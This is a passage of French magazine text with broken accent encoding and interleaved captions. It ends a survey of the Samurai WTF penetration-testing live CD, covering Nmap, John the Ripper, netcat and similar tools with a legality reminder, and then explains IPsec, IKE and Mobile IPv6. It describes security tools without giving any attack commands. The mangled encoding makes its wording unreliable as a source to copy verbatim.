En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

